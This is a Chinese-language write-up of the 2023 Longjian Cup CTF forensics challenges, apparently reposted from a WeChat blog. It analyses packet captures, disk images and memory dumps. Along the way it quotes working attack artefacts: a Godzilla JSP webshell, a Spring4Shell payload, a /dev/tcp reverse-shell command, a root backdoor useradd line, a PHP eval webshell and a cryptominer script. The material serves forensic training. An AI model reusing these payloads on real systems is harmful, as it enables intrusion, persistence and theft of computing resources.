DIDCTF-2023陇剑杯

admin 2025年2月3日02:11:52评论6 views字数 32463阅读108分12秒阅读模式

前言

DIDCTF中的2023陇剑杯的题目。

一、数据分析-HW

1、hard_web_1

服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)

TCP扫描确认端口开放的标志就是返回SYN+ACK的包,所以只需要过滤SYN、ACK状态都为1的包即可

tcp.flags.syn==1 and tcp.flags.ack==1
DIDCTF-2023陇剑杯

服务器IP应该指的就是192.168.162.180,开放的端口为:80,888,8888

2、hard_web_2

服务器中根目录下的flag值是多少?

tcp流的20049是第一次访问shell.jsp这个木马,攻击者执行命令肯定是从这里开始,所以从这里开始分析:

DIDCTF-2023陇剑杯

拿到请求和响应了,但是是加密的流量,那么接下来想办法解密。

往前翻发现在24207号流量包中,看到了:

DIDCTF-2023陇剑杯

攻击者通过test.jsp执行了命令:cat /www/wwwroot/test.com/shell.jsp,服务器返回了这个文件的内容,我们先不分析这个test.jsp,先把shell.jsp的内容提取出来:

<%!String xc = "748007e861908c03";classXextendsClassLoader{publicX(ClassLoader z){super(z);    }public Class Q(byte[] cb){returnsuper.defineClass(cb, 0, cb.length);    }}publicbyte[] x(byte[] s, boolean m) {try {            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");            c.init(m ? 1 : 2new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);        } catch (Exception e) {returnnull;        }    }%><%try {byte[] data = newbyte[Integer.parseInt(request.getHeader("Content-Length"))];        java.io.InputStream inputStream = request.getInputStream();int _num = 0;while ((_num += inputStream.read(data, _num, data.length)) < data.length);        data = x(data, false);if (session.getAttribute("payload") == null) {            session.setAttribute("payload"new X(this.getClass().getClassLoader()).Q(data));        } else {            request.setAttribute("parameters", data);            Object f = ((Class) session.getAttribute("payload")).newInstance();            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();            f.equals(arrOut);            f.equals(pageContext);            f.toString();            response.getOutputStream().write(x(arrOut.toByteArray(), true));        }    } catch (Exception e) {}     %>

这个一看是哥斯拉的木马,那就用哥斯拉的解密方式对流量进行解密即可……

访问shell.jsp的流量总共也没几条,一条一条分析发现在tcp流的20053解密后,攻击者的请求及服务器的响应是:

cat /flagflag{9236b29d-5488-41e6-a04b-53b0d8276542}

3、hard_web_3

该webshell的连接密码是多少?

连接密码就是上面分析出来的哥斯拉的AES加密的密钥:748007e861908c03

但是这个是md5之后的值,它的连接密码是这个对应的明文:

DIDCTF-2023陇剑杯

上特殊手段:14mk3y

二、数据分析-SS

1、sevrer save_1

黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514

在TCP流的105中看到了攻击者通过shell.jsp执行了id命令,服务器返回了root

DIDCTF-2023陇剑杯

说明这时候已经提权成功了,那么我们看它的前几个流量包,前几个流量包攻击者提交的请求分别是:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=prefix: <%suffix: %>//c: Runtimeclass.module.classLoader.resources.context.parent.pipeline.first.pattern=

拿着这个东西直接网上一搜就出来了:

DIDCTF-2023陇剑杯

答案就是:CVE-2022-22965

2、sevrer save_2

黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444

追踪tcp流的106:

DIDCTF-2023陇剑杯

反弹shell的命令:/bin/sh -i >& /dev/tcp/192.168.43.128/2333 0>&1

答案就是:192.168.43.128:2333

3、sevrer save_3

黑客的病毒名称是什么? 格式为:filename

这个个人感觉比较靠谱的方法是,分析/etc/passwd文件,发现有新增用户guestsll,并且权限竟然还是root权限,这肯定是不对的……

DIDCTF-2023陇剑杯

接下来看看这两个用户的目录中的文件:

DIDCTF-2023陇剑杯

只看到了guests用户目录,ll用户目录可能已经删了。

然后把这里面的文件一个个都扔到沙箱中分析:

DIDCTF-2023陇剑杯
DIDCTF-2023陇剑杯
DIDCTF-2023陇剑杯

把这个目录里的文件都扔沙箱了,分析出来都是恶意文件,但是提交的时候答案是:main

4、sevrer save_4

黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

上个题中查看的/etc/passwd也就多了那两个用户:guestll

DIDCTF-2023陇剑杯

或者也可以把文件扔沙箱去分析,看到有一条命令:useradd -p openssl passwd -1 -salt 'salt' 123456 ll -o -u 0 -g root -G root

DIDCTF-2023陇剑杯

生成了用户ll,密码是123456,加密还加了盐,盐值就是salt

答案:ll:123456

5、sevrer save_5

服务器在被入侵时外网ip是多少? 格式为:10.10.0.1

这个就是一通翻找:

# /home/guests/.log.txt2023/07/2211:29:06 Status: success2023/07/2211:29:06 Country: Japan2023/07/2211:29:06 CountryCode: JP2023/07/2211:29:06 Timezone: Asia/Tokyo2023/07/2211:29:06 Query: 172.105.202.2392023/07/2211:29:06exec"setenforce": executable file not found in $PATH2023/07/2211:29:06exec"ulimit": executable file not found in $PATH2023/07/2211:29:06exec"ufw": executable file not found in $PATH2023/07/2211:29:06exec"iptables": executable file not found in $PATH2023/07/2211:29:06 exit status 12023/07/2211:29:06 fork/exec sh .idea/mine_doge.sh: no such file or directory

里面出现了一个IP地址:172.105.202.239

6、sevrer save_6

病毒运行后释放了什么文件?格式:文件1,文件2

微步沙箱真的好用啊,答案:lolMiner,mine_doge.sh

DIDCTF-2023陇剑杯

7、sevrer save_7

矿池地址是什么? 格式:domain:1234

这个就找这几个文件内容就行:

# homeguests.ideamine_doge.sh#!/bin/bash################################### Begin of user-editable part ###################################POOL=doge.millpools.cc:5567WALLET=DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker###################################  End of user-editable part  ###################################cd"$(dirname "$0")"./lolMiner --algo ETHASH --pool $POOL --user $WALLET$@ --4g-alloc-size 4024 --keepfree 8while [ $? -eq 42 ]; do    sleep 10s    ./lolMiner --algo ETHASH --pool $POOL --user $WALLET$@ --4g-alloc-size 4024 --keepfree 8done

矿池POOL:doge.millpools.cc:5567

8、sevrer save_8

黑客的钱包地址是多少?格式:xx:xxxxxxxx

还是第7题的mine_doge.sh文件:WALLET=DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker

答案:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker

三、数据分析-WS

1、Wireshark1_1

被入侵主机的IP是?

统计所有的IP,出现了这三个:

DIDCTF-2023陇剑杯

前两个应该一个是攻击者,一个是服务器,分析一下:

DIDCTF-2023陇剑杯

红色是请求,蓝色是响应,随便点一个请求包中的数据,发送登录信息的是192.168.246.1,那么服务器就是192.168.246.28

2、Wireshark1_2

被入侵主机的口令是?

tcp流的0号:

DIDCTF-2023陇剑杯

用户名密码是:ctf/youcannevergetthis,并且显示登录成功。

题目问的是口令,所以答案是:youcannevergetthis

3、Wireshark1_3

用户目录下第二个文件夹的名称是?

还是tcp流的0号:

DIDCTF-2023陇剑杯

第二个是:Downloads

4、Wireshark1_4

/etc/passwd中倒数第二个用户的用户名是?

相比于其他比赛的流量分析,这个比赛的简直是送分呀……

还是tcp流的0号:

DIDCTF-2023陇剑杯

往下翻看到/etc/passwd文件的全部内容:

DIDCTF-2023陇剑杯

倒数第二个用户的用户名:mysql

四、数据分析-IR

1、IncidentResponse_1

你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd) 挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

查看/root/.viminfo,看到有大量的对redis的操作:

DIDCTF-2023陇剑杯

查看一下redis配置文件:/etc/redis/redis.conf

DIDCTF-2023陇剑杯

明显不对了,应该是用redis进行的挖矿,挖矿程序:/etc/redis/redis-server

md5一下:6f72038a870f05cbf923633066e48881

2、IncidentResponse_2

挖矿程序连接的矿池域名是?

这个在上个题目的redis.conf文件里就有:donate.v2.xmrig.com:3333

md5一下:3fca20bb92d0ed67714e68704a0a4503

3、IncidentResponse_3

攻击者入侵服务器的利用的方法是?

/home/app/目录中有个renren-admin.jar,同目录下还有个nohup.log文件,查看一下这个文件,看看运行日志:

DIDCTF-2023陇剑杯

里面看到了shiro,这个还真坑啊,一定要是这样:shirodeserialization

md5一下:3ee726cb32f87a15d22fe55fa04c4dcd

4、IncidentResponse_4

攻击者的IP是?

查看nginx日志:/var/log/nginx/access.log

DIDCTF-2023陇剑杯

这个IP:81.70.166.3,明显是攻击请求。

md5一下:c76b4b1a5e8c9e7751af4684c6a8b2c9

5、IncidentResponse_5

攻击者发起攻击时使用的User-Agent是?

还是上个题的/var/log/nginx/access.log,找到81.70.166.3的请求记录即可:Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36

去掉空格,全部转小写,得到其md5提交竟然不对,再找找这个IP的其他UA:

DIDCTF-2023陇剑杯

又找到一个:Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

然后去掉空格,全部转小写,获取其md5:6ba8458f11f4044cce7a621c085bb3c6

6、IncidentResponse_6

攻击者使用了两种权限维持手段,相应的配置文件路径是?

ssh公钥是一个:

DIDCTF-2023陇剑杯

然后也没找到第二种啊……

看了writeup就是这个:/root/.ssh/authorized_keys

md5一下:a1fa1b5aeb1f97340032971c342c4258

7、IncidentResponse_7

攻击者使用了两种权限维持手段,相应的配置文件路径是?

好嘛,原来是两个题……

第一题就分析了,redis服务是有问题的,查看redis服务,发现一直重复启动

DIDCTF-2023陇剑杯

(有点牵强,不过题目就是这么设定的)

这个文件在/lib/systemd/system/redis.service

/lib/systemd/system/redis.serviceb2c5af8ce08753894540331e5a947d35

五、数据分析-SSW

1、SmallSword_1

连接蚁剑的正确密码是______?(答案示例:123asd)

tcp流的127:

POST /sqlii/Less-7/info1.php HTTP/1.1Host: 192.168.77.155Accept-Encoding: gzip, deflateUser-Agent: antSword/v1.3Content-Type: application/x-www-form-urlencodedContent-Length: 744Connection: close6ea280898e404bfabd0ebb702327b19f=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Becho%20%22-%3E%7C%22%3B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22A%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3Becho%20%22%7C%3C-%22%3Bdie()%3BHTTP/1.1 200 OKDate: Thu, 03 Aug 2023 04:32:23 GMTServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45X-Powered-By: PHP/5.4.45Content-Length: 134Connection: closeContent-Type: text/html->|D:/phpStudy/PHPTutorial/WWW/sqlii/Less-7 C:D:F: Windows NT CAT 5.1 build 2600 (Windows XP Professional Service Pack 3) i586 cats|<-

连接密码:6ea280898e404bfabd0ebb702327b19f

2、SmallSword_2

题目内容:攻击者留存的值是______?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

tcp流的142号:

POST /sqlii/Less-7/info1.php HTTP/1.1Host: 192.168.77.155Accept-Encoding: gzip, deflateUser-Agent: antSword/v1.3Content-Type: application/x-www-form-urlencodedContent-Length: 478Connection: close0x72b3f341e432=RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3NxbGlpL0xlc3MtNy9oYWNrZXIudHh0&0xe9bb136e8a5e9=YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA%3D%3D&6ea280898e404bfabd0ebb702327b19f=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Becho%20%22-%3E%7C%22%3Becho%20%40fwrite(fopen(base64_decode(%24_POST%5B%220x72b3f341e432%22%5D)%2C%22w%22)%2Cbase64_decode(%24_POST%5B%220xe9bb136e8a5e9%22%5D))%3F%221%22%3A%220%22%3B%3Becho%20%22%7C%3C-%22%3Bdie()%3BHTTP/1.1 200 OKDate: Thu, 03 Aug 2023 04:38:38 GMTServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45X-Powered-By: PHP/5.4.45Content-Length: 7Connection: closeContent-Type: text/html->|1|<-

把攻击者的数据base64解码:

YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA%3D%3D->ad6269b7-3ce2-4ae8-b97f-f259515e7a91

3、SmallSword_3

题目内容:攻击者下载到的flag是______?(答案示例:flag3{uuid})

这个题实在没找到,看了writeup……

tcp流的130,有一个:

DIDCTF-2023陇剑杯

将请求base64解码:

DIDCTF-2023陇剑杯

请求了huorong.exe,然后把页面返回的数据导出来导成exe:

DIDCTF-2023陇剑杯

导出后运行会得到一个png图片,但是我这里运行没有反应,索性我就给它反编译得到了它的源代码:

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information# Version : Python 3.9import osdefhex_to_bytes(hex_string):    hex_string = hex_string.replace('0x''').replace('0X''')return bytes.fromhex(hex_string)defsave_bytes_as_image(byte_data, output_path):with open(output_path, 'wb'as f:        f.write(byte_data)None(NoneNoneNone)# WARNING: Decompyle incompletedefmain():    hex_data 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  binary_data = hex_to_bytes(hex_data)    picture_directory = '../'ifnot os.path.exists(picture_directory):        os.makedirs(picture_directory)    image_file_path = os.path.join(picture_directory, 'test.jpg')    save_bytes_as_image(binary_data, image_file_path)    print('图片保存成功:')if __name__ == '__main__':    main()

然后就得到了图片的源码,我们直接拿着源码把图片转出来即可:

DIDCTF-2023陇剑杯

得到这张图片……还是图片的隐写喽,测试各种办法后发现是宽高的隐写:

DIDCTF-2023陇剑杯
DIDCTF-2023陇剑杯

这流量分析还结合上MISC了……

答案:flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}

六、数据分析-EW

1、ez_web_1

题目内容:服务器自带的后门文件名是什么?(含文件后缀)

tcp流的10062:

POST /e/public/ViewClick/ViewMore.php HTTP/1.1Host: 192.168.162.130:82User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 117Origin: http://192.168.162.130:82Connection: keep-aliveReferer: http://192.168.162.130:82/e/public/ViewClick/ViewMore.phpCookie: 87f1cb30dabd76bc06b0ef55c92755cd=75cc1f3e-b5df-4515-95a8-2ad4c1b0abd4.4esLyTKflS3qL4XtnkXZVOajfK8Upgrade-Insecure-Requests: 1a=file_put_contents%28%27d00r.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%27%29%29%3BHTTP/1.1 200 OKServer: nginxDate: Sun, 29 May 2022 16:41:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingContent-Encoding: gzip

URL解码后发现是在写入一句话木马……

答案:ViewMore.php

2、ez_web_2

题目内容:服务器的内网IP是多少?

TCP流的10098:

DIDCTF-2023陇剑杯

攻击者利用木马执行了ifconfig命令吗,服务器响应:

DIDCTF-2023陇剑杯

分别两张网卡的IP:192.168.162.130192.168.101.132

那么内网IP只能是192.168.101.132

3、ez_web_3

题目内容:攻击者往服务器中写入的key是什么?

还是tcp流的10098,翻到最下面有这样一个请求:

DIDCTF-2023陇剑杯

把请求体单独摘出来解码:

cmd=file_put_contents%28%27k3y_f1le%27%2C+base64_decode%28%27UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl%2FO%2FAJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI%2FABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA%3D%3D%27%29%29%3B->cmd=file_put_contents('k3y_f1le', base64_decode('UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl/O/AJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI/ABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA=='));

里面的base64编码解出来是乱码,但是文件头是PK,猜测有可能是压缩包,导出来看看:

DIDCTF-2023陇剑杯
DIDCTF-2023陇剑杯

解压需要密码,找吧……

还是这个流,往上面翻找到了攻击者执行的:cat /passwd

DIDCTF-2023陇剑杯

服务器返回了7e03864b0db7e6f9

猜测这个就是密码,解压试试:

DIDCTF-2023陇剑杯

解压成功,拿到key:7d9ddff2-2d67-4eba-9e48-b91c26c42337

七、数据分析-BF

1、baby_forensics_1

题目内容:磁盘中的key是多少?

查看文件列表:

DIDCTF-2023陇剑杯

导出这个文件:

E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d

扔随波逐流:

DIDCTF-2023陇剑杯

Rot47得到:thekeyis2e80307085fd2b5c49c968c323ee25d5

答案:2e80307085fd2b5c49c968c323ee25d5

2、baby_forensics_2

题目内容:电脑中正在运行的计算器的运行结果是多少?

首先肯定是要把calc.exe这个进程导出来:

python2 vol.py --plugin=volatility2_plugin -f C:UsersAdministratorDesktopbaby_forensics.raw --profile=Win7SP1 x64 memdump -p 2844 -D ./

但是导出来后不知道怎么办了……

查了教程真是学到了,后缀改成.data,然后用GIMP打开:

DIDCTF-2023陇剑杯

就得到了这个图片,但是老实说不知道位移、宽度、高度三个数据是怎么来的……

从图片中看到:7598632541

3、baby_forensics_3

题目内容:该内存文件中存在的flag值是多少?

这个实在不知道,看了writeup:

DIDCTF-2023陇剑杯

flag在这个文件里:StickyNotes.snt

导出来:

DIDCTF-2023陇剑杯

得到一串加密文字:U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==

同时找到了这个文件:i4ak3y

DIDCTF-2023陇剑杯

导出这个文件得到:qwerasdf

AES在线解密:

DIDCTF-2023陇剑杯

flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}

八、数据分析-TP

1、tcpdump_1

攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin

那么我们过滤:http contains "/login",然后查看所有请求,找到登录成功的……

最后在tcp流的1323中:

DIDCTF-2023陇剑杯

用户名密码是:TMjpxFGQwD/123457

2、tcpdump_2

攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)

网站的认证页面应该是这个:

DIDCTF-2023陇剑杯

那么我们搜索这个页面:http contains "selfInfoWithAuth"

然后直接过滤出来了两个流量包,第一个分析后不是,第二个追踪流是1585号:

DIDCTF-2023陇剑杯

发现服务器的响应码是200,那就确定是了:

accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=2md5->ad9bb6c712266661c035c81455a3bb65

但是提交竟然不对,看了writeup发现应该是userid=1

accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1md5->383c74db4e32513daaa1eeb1726d7255

3、tcpdump_3

攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456

过滤:tcp contains "jdbc",然后分析到tcp流的1600:

DIDCTF-2023陇剑杯

账号密码:zyplayer:1234567

4、tcpdump_4

攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so

tcp流的1612,在里面看到了反弹shell的命令:

DIDCTF-2023陇剑杯

应该就是这个EXP了:custom.dtd.xml

过滤出这个exp的所有流量包:tcp contains "custom.dtd.xml"

然后找到了tcp流的1602:

DIDCTF-2023陇剑杯

搜索这个语句应该就找到对应的CVE了:

DIDCTF-2023陇剑杯

答案:CVE-2022-21724:custom.dtd.xml

5、tcpdump_5

给出攻击者获取系统权限后,下载的工具的名称,比如nmap

追踪tcp流的1611:

DIDCTF-2023陇剑杯

清楚看到这条命令:

curl https://github.com/shadow1ng/fscan/releases/download/1.8.2/fscan_amd64 -o /tmp/mysql_bakup

攻击者下载了:fscan

九、数据分析-HD

1、hacked_1

admIn用户的密码是什么?

首先过滤http的请求,然后翻一下看到了这个:

DIDCTF-2023陇剑杯

请求了/login页面,并且服务器返回了302 found,那么这个应该就是登录请求了,追踪流看一下:

DIDCTF-2023陇剑杯

确定是登录请求,但是用户名和密码加密了,找加密算法吧……往前翻,找到tcp.stream eq 0的地方,看到了:

DIDCTF-2023陇剑杯

把这段脚本拿出来:

<script language="javascript">    crypt_key = 'l36DoqKUYQP0N7e1';  crypt_iv = '131b0c8a7a6e072e';var key = CryptoJS.enc.Utf8.parse(crypt_key); var iv = CryptoJS.enc.Utf8.parse(crypt_iv); functionEncrypt(word){    srcs = CryptoJS.enc.Utf8.parse(word);var encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv,mode:CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7});return encrypted.toString();  }functionprint(){var a = Encrypt(myform.username.value);var b = Encrypt(myform.password.value);    $.post({url:"/login",data:'post',dataType:'application/x-www-form-urlencoded',data:"username="+a+"&password="+b,success:function(data{   alert(data)if(data == 'aaa') {     alert("............")window.location.href="/index";    } else {     alert("............")    }   }  })  }   </script>

有了加密算法,就可以对密文进行解密了,一个个分析:

DIDCTF-2023陇剑杯

tcp流的56:

DIDCTF-2023陇剑杯

用户名密码解密:admIn/flag{WelC0m5_TO_H3re}

2、hacked_2

app.config['SECRET_KEY']值为多少?

先过滤包含SECRET_KEY的流量包:tcp contains "SECRET_KEY"

DIDCTF-2023陇剑杯

得到两个流量包,一个一个看,在tcp流的68看到了:

DIDCTF-2023陇剑杯

SECRET_KEY:ssti_flask_hsfvaldb

3、hacked_3

flask网站由哪个用户启动?

我去,这个是真没想到啊……

启动的用户在JWT数据中,密钥就是上个题的SECRET_KEY……

一个个解密所有的JWT:

(解密教程看这里:https://www.cnblogs.com/meraklbz/p/18280537

DIDCTF-2023陇剑杯

tcp流的76:

DIDCTF-2023陇剑杯

把set-cookie解密:

DIDCTF-2023陇剑杯
DIDCTF-2023陇剑杯

请求包中执行了whoami,返回包中返回了red

答案就是:red

4、hacked_4

攻击者写入的内存马的路由名叫什么?(答案里不需要加/)

tcp流的81,解密其Cookie:

DIDCTF-2023陇剑杯
DIDCTF-2023陇剑杯

那就是这个了,路由就是:Index

原文始发于微信公众号(南有禾木):DIDCTF-2023陇剑杯

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
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  • 本文由 发表于 2025年2月3日02:11:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DIDCTF-2023陇剑杯http://cn-sec.com/archives/3694238.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

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